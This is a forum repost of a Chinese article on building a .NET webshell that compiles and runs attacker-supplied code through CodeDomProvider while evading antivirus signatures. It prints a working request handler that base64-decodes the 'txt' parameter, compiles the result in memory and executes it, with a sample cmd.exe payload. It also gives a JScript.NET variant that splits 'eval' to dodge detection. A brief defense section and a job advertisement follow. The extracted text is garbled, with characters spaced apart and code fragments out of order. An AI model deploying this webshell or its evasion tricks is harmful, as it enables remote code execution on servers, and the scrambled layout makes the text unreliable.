搜索

[2104] 2021-03-12_基于.NET动态编译技术实现任意代码执行

文档创建者：s7ckTeam
浏览次数：115
最后更新：2025-01-16
2021-03-12_基于.NET动态编译技术实现任意代码执行 基 于 . N E T 动 态 编 译 技 术 实 现 任 意 代 码 执 行 原 创   I v a n 1 e e   d o t N e t 安 全 研 究 僧   2 0 2 1 - 0 3 - 1 2 收 录 于 话 题 # . N E T 安 全   , 1 # w e b s h e l l   , 1 一 、 前 言 一 、 前 言 当 下 主 流 的 W a f 或 W i n d o w s   D e f e n d e r 等 终 端 杀 软 、 E D R 大 多 都 是 从 特 征 码 查 杀 ， 在 . N e t 和 V B S 下 一 句 话 木 马 中 最 常 见 的 特 征 是 e v a l ， 对 于 攻 击 者 来 说 需 要 避 开 这 个 系 统 关 键 字 ， 可 从 反 序 列 化 方 式 避 开 e v a l ， 但 公 开 已 久 相 信 很 多 安 全 产 品 已 经 能 够 很 好 检 测 和 阻 断 这 类 攻 击 请 求 。 笔 者 从 . N E T   内 置 的 C o d e D o m P r o v i d e r 类 下 手 实 现 动 态 编 译 . N E T 代 码 ， 指 明 J S c r i p 或 者 C # 作 为 编 译 语 言 ， 编 译 的 W e b S h e l l 目 前 W i n d o w s   D e f e n d e r 不 会 查 杀 不 会 查 杀 。 而 防 御 者 从 流 量 或 终 端 识 别   " C o d e D o m P r o v i d e r . C r e a t e P r o v i d e r 、 C r e a t e I n s t a n c e " 等 特 征 码 。 二 、 动 态 编 译 二 、 动 态 编 译 . N e t 可 通 过 编 译 技 术 将 外 部 输 入 的 字 符 串 作 为 代 码 执 行 ， 动 态 编 译 技 术 提 供 了 最 核 心 的 两 个 类 C o d e D o m P r o v i d e r   和   C o m p i l e r P a r a m e t e r s ， 前 者 相 当 于 编 译 器 ， 后 者 相 当 于 编 译 器 参 数 ， C o d e D o m P r o v i d e r 支 持 多 种 语 言 （ 如 C # 、 V B 、 J s c r i p t ） ， 编 译 器 参 数 C o m p i l e r P a r a m e t e r s . G e n e r a t e E x e c u t a b l e 默 认 表 示 生 成 d l l ， G e n e r a t e I n M e m o r y =   t r u e 时 表 示 在 内 存 中 加 载 ， C o m p i l e A s s e m b l y F r o m S o u r c e 表 示 程 序 集 的 数 据 源 ， 再 将 编 译 产 生 的 结 果 生 成 程 序 集 供 反 射 调 用 。 最 后 通 过 C r e a t e I n s t a n c e 实 例 化 对 象 并 反 射 调 用 自 定 义 类 中 的 方 法 。 三 、 落 地 实 现 三 、 落 地 实 现 上 述 代 码 里 的 S o u r c e T e x t 方 法 需 提 供 编 译 的 C # 源 代 码 ， 笔 者 创 建 了 N e t e y e I n p u t 类 ， 如 下 类 里 声 明 了 O u t P u t 方 法 ， 该 方 法 里 通 过 B a s e 6 4 解 码 得 到 输 入 的 原 生 字 符 串 ， 笔 者 在 这 里 以 计 算 器 作 为 演 示 ， 将 “ S y s t e m . D i a g n o s t i c s . P r o c e s s . S t a r t ( " c m d . e x e " , " / c   c a l c " ) ; ” 编 码 为 最 后 在 一 般 处 理 程 序 P r o c e s s R e q u e s t 方 法 中 调 用 C o d e D o m P r o v i d e r   c o m p i l e r   =   C o d e D o m P r o v i d e r . C r e a t e P r o v i d e r ( " C # " ) ;   ;           / / 编 译 器 C o m p i l e r P a r a m e t e r s   c o m P a r a   =   n e w   C o m p i l e r P a r a m e t e r s ( ) ;       / / 编 译 器 参 数 c o m P a r a . R e f e r e n c e d A s s e m b l i e s . A d d ( " S y s t e m . d l l " ) ;   / / 添 加 引 用 c o m P a r a . G e n e r a t e E x e c u t a b l e   =   f a l s e ;   / / 生 成 e x e c o m P a r a . G e n e r a t e I n M e m o r y   =   t r u e ;   / / 内 存 中 C o m p i l e r R e s u l t s   c o m p i l e r R e s u l t s   =   c o m p i l e r . C o m p i l e A s s e m b l y F r o m S o u r c e ( c o m P a r a ,   S o u r c e T e x t ( t x t ) ) ;   / / 编 译 数 据 的 来 源 A s s e m b l y   o b j A s s e m b l y   =   c o m p i l e r R e s u l t s . C o m p i l e d A s s e m b l y ;   / / 编 译 成 程 序 集 o b j e c t   o b j I n s t a n c e   =   o b j A s s e m b l y . C r e a t e I n s t a n c e ( " N e t e y e . N e t e y e I n p u t " ) ;   / / 创 建 对 象 M e t h o d I n f o   o b j M i f o   =   o b j I n s t a n c e . G e t T y p e ( ) . G e t M e t h o d ( " O u t P u t " ) ;   / / 反 射 调 用 方 法 v a r   r e s u l t   =   o b j M i f o . I n v o k e ( o b j I n s t a n c e ,   n u l l ) ; p u b l i c   s t a t i c   s t r i n g   S o u r c e T e x t ( s t r i n g   t x t )                 {                         S t r i n g B u i l d e r   s b   =   n e w   S t r i n g B u i l d e r ( ) ;                         s b . A p p e n d ( " u s i n g   S y s t e m ; " ) ;                         s b . A p p e n d ( E n v i r o n m e n t . N e w L i n e ) ;                         s b . A p p e n d ( " n a m e s p a c e     N e t e y e " ) ;                         s b . A p p e n d ( E n v i r o n m e n t . N e w L i n e ) ;                         s b . A p p e n d ( " { " ) ;                         s b . A p p e n d ( E n v i r o n m e n t . N e w L i n e ) ;                         s b . A p p e n d ( "         p u b l i c   c l a s s   N e t e y e I n p u t " ) ;                         s b . A p p e n d ( E n v i r o n m e n t . N e w L i n e ) ;                         s b . A p p e n d ( "         { " ) ;                         s b . A p p e n d ( E n v i r o n m e n t . N e w L i n e ) ;                         s b . A p p e n d ( "                 p u b l i c   v o i d   O u t P u t ( ) " ) ;                         s b . A p p e n d ( E n v i r o n m e n t . N e w L i n e ) ;                         s b . A p p e n d ( "                 { " ) ;                         s b . A p p e n d ( E n v i r o n m e n t . N e w L i n e ) ;                         s b . A p p e n d ( E n c o d i n g . G e t E n c o d i n g ( " U T F - 8 " ) . G e t S t r i n g ( C o n v e r t . F r o m B a s e 6 4 S t r i n g ( t x t ) ) ) ;                         s b . A p p e n d ( E n v i r o n m e n t . N e w L i n e ) ;                         s b . A p p e n d ( "                 } " ) ;                         s b . A p p e n d ( E n v i r o n m e n t . N e w L i n e ) ;                         s b . A p p e n d ( "         } " ) ;                         s b . A p p e n d ( E n v i r o n m e n t . N e w L i n e ) ;                         s b . A p p e n d ( " } " ) ;                         s t r i n g   c o d e   =   s b . T o S t r i n g ( ) ;                         r e t u r n   c o d e ;                 } U 3 l z d G V t L k R p Y W d u b 3 N 0 a W N z L l B y b 2 N l c 3 M u U 3 R h c n Q o I m N t Z C 5 l e G U i L C I v Y y B j Y W x j I i k 7 p u b l i c   v o i d   P r o c e s s R e q u e s t ( H t t p C o n t e x t   c o n t e x t )                 {                         c o n t e x t . R e s p o n s e . C o n t e n t T y p e   =   " t e x t / p l a i n " ;                         i f   ( ! s t r i n g . I s N u l l O r E m p t y ( c o n t e x t . R e q u e s t [ " t x t " ] ) )
四 、 其 他 方 法 四 、 其 他 方 法 J s c r i p t . N e t   动 态 编 译 拆 解 动 态 编 译 拆 解 e v a l 在 . N E T 安 全 领 域 中 一 句 话 木 马 主 流 的 都 是 交 给 e v a l 关 键 词 执 行 ， 而 很 多 安 全 产 品 都 会 对 此 重 点 查 杀 ， 所 以 笔 者 需 要 避 开 避 开 e v a l ， 而 在 . N E T 中 e v a l 只 存 在 于 J s c r i p t . N e t ， 所 以 需 要 将 动 态 编 译 器 指 定 为 J s c r i p t ， 其 余 和 C # 版 本 的 动 态 编 译 基 本 一 致 ， 笔 者 通 过 插 入 无 关 字 符 将 e v a l 拆 解 掉 ， 代 码 如 下 只 需 在 编 译 的 时 候 替 换 掉 无 关 字 符 串 “ / * @ I v a n 1 e e @ * / ” ， 最 后 编 译 后 反 射 执 行 目 标 方 法 。 五 、 防 御 措 施 五 、 防 御 措 施 一 般 w e b 应 用 使 用 场 景 不 多 ， 检 测 特 征 码 ： C o d e D o m P r o v i d e r . C r e a t e P r o v i d e r 、 C r e a t e I n s t a n c e 等 等 ， 一 旦 告 警 需 格 外 关 注 ； 由 于 编 译 生 成 的 程 序 集 以 临 时 文 件 保 存 在 硬 盘 ， 需 加 入 对 可 写 目 录 下 d l l 文 件 内 容 的 监 控 ； 文 章 涉 及 的 代 码 已 经 打 包 在   " h t t p s : / / g i t h u b . c o m / I v a n 1 e e / . N E T W e b S h e l l " 六 、 写 在 最 后 六 、 写 在 最 后 网 商 银 行 诚 招 安 全 攻 防 、 数 据 安 全 、 安 全 研 发 等 方 向 的 人 才 ， 希 望 大 家 加 入 我 们 ， b a s e 地 可 选 北 京 、 杭 州 ， 有 关 更 多 的 岗 位 招 聘 详 情 请 请 点 击 这 里 点 击 这 里 岗 位 描 述 岗 位 描 述 安 全 攻 防 方 向 岗 位 职 责 岗 位 职 责 ： 负 责 安 全 规 范 方 案 的 制 定 和 评 估 、 安 全 测 试 、 应 急 响 应 等 工 作 ， 具 体 包 括 应 用 安 全 、 移 动 端 安 全 、 系 统 安 全 、 网 络 安 全 、 威 胁 感 知 与 防 御 、 红 蓝 对 抗 等 。                         {                                 D y n a m i c C o d e E x e c u t e ( c o n t e x t . R e q u e s t [ " t x t " ] ) ;   / / s t a r t   c a l c :   U 3 l z d G V t L k R p Y W d u b 3 N 0 a W N z L l B y b 2 N l c 3 M u U 3 R h c n Q o I m N t Z C 5 l e G U i L C I v Y y B j Y W x j I i k 7                                 c o n t e x t . R e s p o n s e . W r i t e ( " E x e c u t e   S t a t u s :   S u c c e s s ! " ) ;                         }                         e l s e                         {                                 c o n t e x t . R e s p o n s e . W r i t e ( " J u s t   F o r   F u n ,   P l e a s e   I n p u t   t x t ! " ) ;                         }                 } p r i v a t e   s t a t i c   r e a d o n l y   s t r i n g   _ j s c r i p t C l a s s T e x t   =                 @ " i m p o r t   S y s t e m ;                         c l a s s   J S c r i p t R u n                         {                                 p u b l i c   s t a t i c   f u n c t i o n   R u n E x p ( e x p r e s s i o n   :   S t r i n g )   :   S t r i n g                                 {                                         r e t u r n   e / * @ I v a n 1 e e @ * / v / * @ I v a n 1 e e @ * / a / * @ I v a n 1 e e @ * / l ( e x p r e s s i o n ) ;                                 }                         } " ; C o m p i l e r R e s u l t s   r e s u l t s   =   c o m p i l e r . C o m p i l e A s s e m b l y F r o m S o u r c e ( p a r a m e t e r s ,   _ j s c r i p t C l a s s T e x t . R e p l a c e ( " / * @ I v a n 1 e e @ * / " , " " ) ) ;
岗 位 要 求 岗 位 要 求 ： 熟 悉 W e b 或 移 动 端 应 用 与 业 务 的 漏 洞 挖 掘 ， 渗 透 测 试 ， 代 码 审 计 及 安 全 解 决 方 案 ； 熟 悉 A P T 攻 击 、 黑 灰 产 攻 击 、 需 对 攻 击 检 测 规 则 或 模 型 有 一 定 研 究 。 数 据 安 全 方 向 岗 位 职 责 岗 位 职 责 ： 负 责 部 门 数 据 安 全 、 隐 私 保 护 、 密 码 学 等 关 键 技 术 能 力 建 设 ； 需 对 密 码 学 、 安 全 计 算 、 隐 私 保 护 等 领 域 前 瞻 性 技 术 预 研 并 持 续 创 新 。 岗 位 要 求 岗 位 要 求 ： 掌 握 一 种 或 多 种 高 级 密 码 学 、 安 全 计 算 或 隐 私 保 护 技 术 ， 如 差 分 隐 私 、 通 用 安 全 多 方 计 算 、 专 用 安 全 多 方 计 算 、 全 同 态 加 密 、 函 数 加 密 、 零 知 识 证 明 、 可 信 执 行 环 境 。 安 全 研 发 方 向 岗 位 职 责 岗 位 职 责 ： 负 责 网 商 银 行 核 心 安 全 架 构 和 安 全 防 御 产 品 ， 建 设 安 全 大 数 据 技 术 和 智 能 防 控 体 系 。 本 岗 位 细 分 为 三 个 方 向 ： 安 全 架 构 与 产 品 、 安 全 大 数 据 分 析 、 自 动 化 运 营 与 编 排 。 岗 位 要 求 岗 位 要 求 ： 熟 悉   G o 、 J a v a 、 C 、 O b j e c t - C 、 P y t h o n   中 的 一 种 或 多 种 编 程 语 言 ， 具 备 安 全 工 具 或 者 高 并 发 平 台 的 开 发 经 验 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理